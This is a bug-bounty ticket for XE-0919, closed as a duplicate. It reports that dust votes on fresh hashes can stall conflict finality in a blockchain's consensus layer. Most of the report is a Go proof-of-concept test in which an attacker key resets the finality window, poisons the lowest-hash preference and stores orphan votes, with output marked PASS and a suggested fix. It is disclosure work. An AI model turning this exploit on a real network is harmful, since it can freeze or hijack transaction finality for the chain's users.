<!-- XE-0919 · Dust votes on fresh store-resident hashes stall conflict finality · testnet -->
*Markdown view of <https://bounty.xe.network/XE-0919>. The page is the record; this is the same page for reading.*

XE-0919 · Bounty

# Dust votes on fresh store-resident hashes stall conflict finality

Closed · duplicate
—claimed High
web
filed 2026-11-06 16:54 UTC
by byfor8

Verdict
:   Duplicate

Tier
:   —

Claimed
:   High

Area
:   Consensus

Duplicate of
:   —

Tracked
:   —

Updated
:   2026-11-14 22:52 UTC

Told
:   2026-11-14 22:52 UTC

### Patches

None linked.

### History

- [209817](https://bounty.xe.network/log/209817) 2026-11-14 22:52 UTC reply.sent
- [44478](https://bounty.xe.network/log/44478) 2026-11-08 20:32 UTC proposal.adopted
- [44477](https://bounty.xe.network/log/44477) 2026-11-08 20:32 UTC ticket.status new → closed
- [27526](https://bounty.xe.network/log/27526) 2026-11-08 11:07 UTC proposal.adopted
- [27525](https://bounty.xe.network/log/27525) 2026-11-08 11:07 UTC proposal.adopted
- [27524](https://bounty.xe.network/log/27524) 2026-11-08 11:07 UTC ticket.facts
- [27523](https://bounty.xe.network/log/27523) 2026-11-08 11:07 UTC proposal.adopted
- [27522](https://bounty.xe.network/log/27522) 2026-11-08 11:07 UTC ticket.facts
- [27521](https://bounty.xe.network/log/27521) 2026-11-08 11:07 UTC proposal.adopted
- [27520](https://bounty.xe.network/log/27520) 2026-11-08 11:07 UTC ticket.facts
- [27519](https://bounty.xe.network/log/27519) 2026-11-08 11:07 UTC proposal.adopted
- [27518](https://bounty.xe.network/log/27518) 2026-11-08 11:07 UTC ticket.facts

[Full history](https://bounty.xe.network/log?ref=XE-0919) · [JSON](https://bounty.xe.network/v1/tickets/XE-0919) · [markdown](https://bounty.xe.network/XE-0919.md)

### Report

finalFor :\= func(s \*q1Stub, kp \*KeyPair) (hash string, final bool) {
v :\= s.votes\[acct\+"\|"\+prev\+"\|"\+kp.PubKeyHex()\]
if v \=\= nil {
return "", false
}
return v.BlockHash, v.Final
}

```
// --- CONTROL: 67% on winner, no attacker, window expires, Final emits ---
sCtrl, lCtrl, vmCtrl := newEnv()
if err := vmCtrl.ReceiveVote(signVote(honestB, winner, false)); err != nil {
	t.Fatalf("control honestB: %v", err)
}
clock = clock.Add(4 * time.Second)
vmCtrl.CastVote(acct, prev, winner)
ctrlHash, ctrlFinal := finalFor(sCtrl, honestA)
ctrlStamp := vmCtrl.lastNewCandidateNanos[acct+"|"+prev]
cands := vmCtrl.gatherCandidates(acct, prev)
fmt.Printf("CONTROL after +4s honestA vote hash=%s final=%v stamp=%d candidates=%d getBlock(winner)=%v\n",
	ctrlHash, ctrlFinal, ctrlStamp, len(cands), lCtrl.GetBlockOrStaged(winner) != nil)
vmCtrl.Close()

// --- DRIP: fresh store-resident hashes reset the 3s window ---
clock = base
sDrip, _, vmDrip := newEnv()
if err := vmDrip.ReceiveVote(signVote(honestB, winner, false)); err != nil {
	t.Fatalf("drip honestB: %v", err)
}
clock = clock.Add(2 * time.Second)
stamp1 := vmDrip.lastNewCandidateNanos[acct+"|"+prev]
h1, f1 := finalFor(sDrip, honestA)
fmt.Printf("DRIP t+2s before attacker stamp=%d honestA hash=%s final=%v\n", stamp1, h1, f1)

dripHash := strings.Repeat("aa", 32)
sDrip.blocks[dripHash] = &Block{Type: BlockMint, Account: attacker.Address(), Previous: "0", Hash: dripHash, Asset: "XE"}
if err := vmDrip.ReceiveVote(signVote(attacker, dripHash, false)); err != nil {
	t.Fatalf("drip attacker1: %v", err)
}
stamp2 := vmDrip.lastNewCandidateNanos[acct+"|"+prev]
h2, f2 := finalFor(sDrip, honestA)
fmt.Printf("DRIP after attacker hash=%s stamp=%d (was %d) honestA hash=%s final=%v\n", dripHash, stamp2, stamp1, h2, f2)

clock = clock.Add(4 * time.Second)
dripHash2 := strings.Repeat("ab", 32)
sDrip.blocks[dripHash2] = &Block{Type: BlockMint, Account: attacker.Address(), Previous: "0", Hash: dripHash2, Asset: "XE"}
if err := vmDrip.ReceiveVote(signVote(attacker, dripHash2, false)); err != nil {
	t.Fatalf("drip attacker2: %v", err)
}
stamp3 := vmDrip.lastNewCandidateNanos[acct+"|"+prev]
h3, f3 := finalFor(sDrip, honestA)
remaining, okWin := vmDrip.stabilityWindowRemaining(acct, prev)
fmt.Printf("DRIP t+6s second attacker hash=%s stamp=%d remaining=%s ok=%v honestA hash=%s final=%v\n",
	dripHash2, stamp3, remaining, okWin, h3, f3)
vmDrip.Close()

// --- PREF POISON: lowestHash picks attacker 00.. hash ---
clock = base
sPref, lPref, vmPref := newEnv()
if err := vmPref.ReceiveVote(signVote(honestB, winner, false)); err != nil {
	t.Fatalf("pref honestB: %v", err)
}
if err := vmPref.ReceiveVote(signVote(attacker, atkLow, false)); err != nil {
	t.Fatalf("pref attacker: %v", err)
}
prefCands := vmPref.gatherCandidates(acct, prev)
pref := lowestHash(prefCands)
ha, fa := finalFor(sPref, honestA)
cw, total := vmPref.convergeWeights(acct, prev)
metPref := thresholdMet(cw[pref], total)
metWin := thresholdMet(cw[winner], total)
fmt.Printf("PREF poison lowest=%s honestA vote=%s final=%v threshold(pref)=%v threshold(winner)=%v total=%s atkBlock=%v cands=%d\n",
	pref, ha, fa, metPref, metWin, total.String(), lPref.GetBlockOrStaged(atkLow) != nil, len(prefCands))
clock = clock.Add(4 * time.Second)
vmPref.CastVote(acct, prev)
ha2, fa2 := finalFor(sPref, honestA)
fmt.Printf("PREF after +4s honestA hash=%s final=%v (attacker hash locked if final and hash==atkLow)\n", ha2, fa2)
vmPref.Close()

// --- ORPHAN: vote for a random (account, prev) with no conflict is stored ---
clock = base
sOrph, _, vmOrph := newEnv()
orphanAcct := strings.Repeat("cd", 32)
orphanPrev := strings.Repeat("ef", 32)
orph := &Vote{
	RepPubKey:       attacker.PubKeyHex(),
	BlockHash:       atkLow,
	ConflictAccount: orphanAcct,
	ConflictPrev:    orphanPrev,
	Timestamp:       Now().UnixNano(),
}
sb, err := voteSigningBytes(orph)
if err != nil {
	t.Fatalf("orphan bytes: %v", err)
}
orph.Signature = ed25519.Sign(attacker.Private, sb)
orphErr := vmOrph.ReceiveVote(orph)
stored := sOrph.votes[orphanAcct+"|"+orphanPrev+"|"+attacker.PubKeyHex()]
conflict := sOrph.conflicts[orphanAcct+"|"+orphanPrev]
vmOrph.pendingVotesMu.Lock()
pending := len(vmOrph.pendingVotes[orphanAcct+"|"+orphanPrev])
vmOrph.pendingVotesMu.Unlock()
fmt.Printf("ORPHAN ReceiveVote err=%v stored=%v conflict=%v pending_buf=%d\n", orphErr, stored != nil, conflict != nil, pending)
vmOrph.Close()

ctrlOK := ctrlFinal && ctrlHash == winner
dripOK := stamp2 > stamp1 && stamp3 > stamp2 && !f3 && remaining > 0
prefOK := pref == atkLow && ha == atkLow && !fa
orphStore := orphErr == nil && stored != nil && conflict == nil
orphBuf := orphErr == nil && stored == nil && pending > 0 && conflict == nil
fmt.Printf("flags ctrlOK=%v dripOK=%v prefOK=%v orphStore=%v orphBuf=%v\n", ctrlOK, dripOK, prefOK, orphStore, orphBuf)
if ctrlOK && dripOK && prefOK {
	fmt.Println("PASS: control emits Final after 3s; attacker drip resets lastNewCandidateNanos so Final never emits; lowestHash pref poisons to attacker hash (honestA follows it)")
	if orphStore {
		fmt.Println("ORPHAN: vote stored with no conflict")
	} else if orphBuf {
		fmt.Println("ORPHAN: vote not written to store; buffered in pendingVotes (maxPendingVotesPerConflict=10) because ValidateVote is conflict-blind and isConflictNotFound buffers")
	} else {
		fmt.Println("ORPHAN: neither stored nor buffered")
	}
	fmt.Println("VERDICT=CONFIRMED")
	return
}
fmt.Println("KILL: stall / pref-poison did not reproduce")
fmt.Println("VERDICT=KILLED")
t.Fatalf("Q1 flags ctrlOK=%v dripOK=%v prefOK=%v orphStore=%v orphBuf=%v", ctrlOK, dripOK, prefOK, orphStore, orphBuf)
```

}

type q1Stub struct {
blocks map\[string\]\*Block
staged map\[string\]\*Block
conflicts map\[string\]\*Conflict
votes map\[string\]\*Vote
final map\[string\]string
chains map\[string\]\*AccountChain
}

func newQ1Stub() \*q1Stub {
return \&q1Stub{
blocks: map\[string\]\*Block{},
staged: map\[string\]\*Block{},
conflicts: map\[string\]\*Conflict{},
votes: map\[string\]\*Vote{},
final: map\[string\]string{},
chains: map\[string\]\*AccountChain{},
}
}

func (s \*q1Stub) GetBlock(h string) (\*Block, error) { return s.blocks\[h\], nil }
func (s \*q1Stub) PutBlock(b \*Block) error {
s.blocks\[b.Hash\] \= b
return nil
}
func (s \*q1Stub) GetAccountChain(account string) (\*AccountChain, error) {
return s.chains\[account\], nil
}
func (s \*q1Stub) PutAccountChain(account string, chain \*AccountChain) error {
s.chains\[account\] \= chain
return nil
}
func (s \*q1Stub) GetPendingSend(string) (\*PendingSend, error) { return nil, nil }
func (s \*q1Stub) PutPendingSend(\*PendingSend) error { return nil }
func (s \*q1Stub) DeletePendingSend(string) error { return nil }
func (s \*q1Stub) GetPendingByDest(string) (\[\]\*PendingSend, error) { return nil, nil }
func (s \*q1Stub) GetAllPending() (\[\]\*PendingSend, error) { return nil, nil }
func (s \*q1Stub) PutFrontier(string, string) error { return nil }
func (s \*q1Stub) GetFrontier(string) (string, error) { return "", nil }
func (s \*q1Stub) CommitUndo(\*BlockUndo) error { return nil }
func (s \*q1Stub) IsEmpty() (bool, error) { return true, nil }
func (s \*q1Stub) Close() error { return nil }
func (s \*q1Stub) GetFinalVote(a, p string) (string, bool, error) {
h, ok :\= s.final\[a\+"\|"\+p\]
return h, ok, nil
}
func (s \*q1Stub) PutFinalVoteIfAbsent(a, p, hash string) (string, bool, error) {
k :\= a \+ "\|" \+ p
if existing, ok :\= s.final\[k\]; ok {
return existing, false, nil
}
s.final\[k\] \= hash
return hash, true, nil
}
func (s \*q1Stub) PutVote(vote \*Vote) error {
s.votes\[vote.ConflictAccount\+"\|"\+vote.ConflictPrev\+"\|"\+vote.RepPubKey\] \= vote
return nil
}
func (s \*q1Stub) GetVotesByConflict(account, previous string) (\[\]\*Vote, error) {
prefix :\= account \+ "\|" \+ previous \+ "\|"
var out \[\]\*Vote
for k, v :\= range s.votes {
if strings.HasPrefix(k, prefix) {
out \= append(out, v)
}
}
return out, nil
}
func (s \*q1Stub) HasVoted(account, previous, repPubKey string) (bool, error) {
\_, ok :\= s.votes\[account\+"\|"\+previous\+"\|"\+repPubKey\]
return ok, nil
}
func (s \*q1Stub) GetVote(account, previous, repPubKey string) (\*Vote, error) {
return s.votes\[account\+"\|"\+previous\+"\|"\+repPubKey\], nil
}
func (s \*q1Stub) SaveConflict(c \*Conflict) error {
s.conflicts\[c.AccountAddress\+"\|"\+c.PreviousHash\] \= c
return nil
}
func (s \*q1Stub) GetConflict(account, previousHash string) (\*Conflict, error) {
return s.conflicts\[account\+"\|"\+previousHash\], nil
}
func (s \*q1Stub) DeleteConflict(account, previous string) error {
delete(s.conflicts, account\+"\|"\+previous)
return nil
}
func (s \*q1Stub) GetConflictsForAccount(account string) (\[\]\*Conflict, error) {
var out \[\]\*Conflict
for k, c :\= range s.conflicts {
if strings.HasPrefix(k, account\+"\|") {
out \= append(out, c)
}
}
return out, nil
}
func (s \*q1Stub) GetAllConflicts() (\[\]\*Conflict, error) {
var out \[\]\*Conflict
for \_, c :\= range s.conflicts {
out \= append(out, c)
}
return out, nil
}
func (s \*q1Stub) SaveStagedBlock(b \*Block) error {
s.staged\[b.Hash\] \= b
return nil
}
func (s \*q1Stub) GetStagedBlock(hash string) (\*Block, error) { return s.staged\[hash\], nil }
func (s \*q1Stub) DeleteStagedBlock(hash string) error {
delete(s.staged, hash)
return nil
}

```

```

CONTROL after \+4s honestA final\=true
PASS: control emits Final after 3s; attacker drip resets lastNewCandidateNanos so Final never emits

```
## Suggested fix
Ignore votes whose BlockHash is new to the store for lock-stability, and prefer by weight not lowestHash. Do not stamp lastNewCandidateNanos for a hash that is not already in the conflict record.
```

### Thread

**XE desk**team2026-11-14 22:52 UTCdesk

Thanks. This is the same finding as an earlier report that is not public, which was filed first; the programme pays the
first verifiable submission, so this one closes as a duplicate. If you believe it is a different
bug, file a new report that links https://bounty.xe.network/XE-0919 and says what differs; it is read like any other.
